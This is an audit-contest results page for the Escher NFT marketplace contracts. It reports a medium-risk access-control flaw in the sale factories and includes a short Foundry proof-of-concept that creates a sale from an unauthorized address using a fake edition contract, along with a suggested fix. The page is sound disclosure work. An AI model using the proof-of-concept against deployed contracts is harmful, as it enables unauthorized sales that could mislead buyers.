Escher contest - Englave's results

A decentralized curated marketplace for editioned artwork.

General Information

Platform: Code4rena

Start Date: 06/12/2022

Pot Size: $36,500 USDC

Total HM: 16

Participants: 119

Period: 3 days

Judge: berndartmueller

Total Solo HM: 2

Id: 189

League: ETH

Escher

Findings Distribution

Researcher Performance

Rank: 52/119

Findings: 1

Award: $57.63

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: hansfriese

Also found by: 0xRobocop, Dinesh11G, Englave, MHKK33, Ruhum, ahmedov, carrotsmuggler, danyams, hihen, imare, nalus

Labels

bug
2 (Med Risk)
satisfactory
duplicate-176

Awards

57.6274 USDC - $57.63

External Links

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPriceFactory.sol#L30 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDAFactory.sol#L30 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEditionFactory.sol#L30

Vulnerability details

Impact

During createLPDASale, createFixedSale and createOpenEdition sales creation authorization check is done on the address, which is part of the function parameters. This leads to authorization checks being done on unexpected contract implementations. According to system requirements, only whitelisted creators can create sales but provided PoC shows that anyone can create a sale. It's unclear what off-chain validations are done, but my assumption is done on the idea, that it listens NewLPDAContract events to display sale on a front end, so malicious implementation could be added by anyone.

Proof of Concept

PoC was done as a part of the LPDAFactoryTest test, but the idea is applicable also for FixedSale and OpenEditiion.

function poc_unauthorized_sale_creation() public { vm.prank(address(69)); Escher721 fakeEdition = new Escher721(); fakeEdition.initialize(address(this), address(0), "Implementation", "IMPL"); LPDA.Sale memory fakeSale = LPDA.Sale({ currentId: uint48(0), finalId: uint48(10), edition: address(fakeEdition), startPrice: uint80(uint256(1 ether)), finalPrice: uint80(uint256(0.1 ether)), dropPerSecond: uint80(uint256(0.1 ether) / 1 days), startTime: uint96(block.timestamp), saleReceiver: payable(address(this)), endTime: uint96(block.timestamp + 1 days) }); lpdaSales.createLPDASale(fakeSale); fakeEdition.grantRole(bytes32(0x00), address(69)); }

Existing test already verifies that address(69) have no permissions to create sale:

function test_RevertsWhenNotAdmin_CreateSale() public { vm.prank(address(69)); vm.expectRevert("NOT AUTHORIZED"); lpdaSales.createLPDASale(lpdaSale); }

Tools Used

Visual inspection; PoC testing

Verify if sale.edition address was created using Escher721Factory (by storing a mapping in the factory with allowed addresses).

#0 - c4-judge

2022-12-13T13:57:35Z

berndartmueller marked the issue as duplicate of #176

#1 - c4-judge

2023-01-03T09:54:26Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter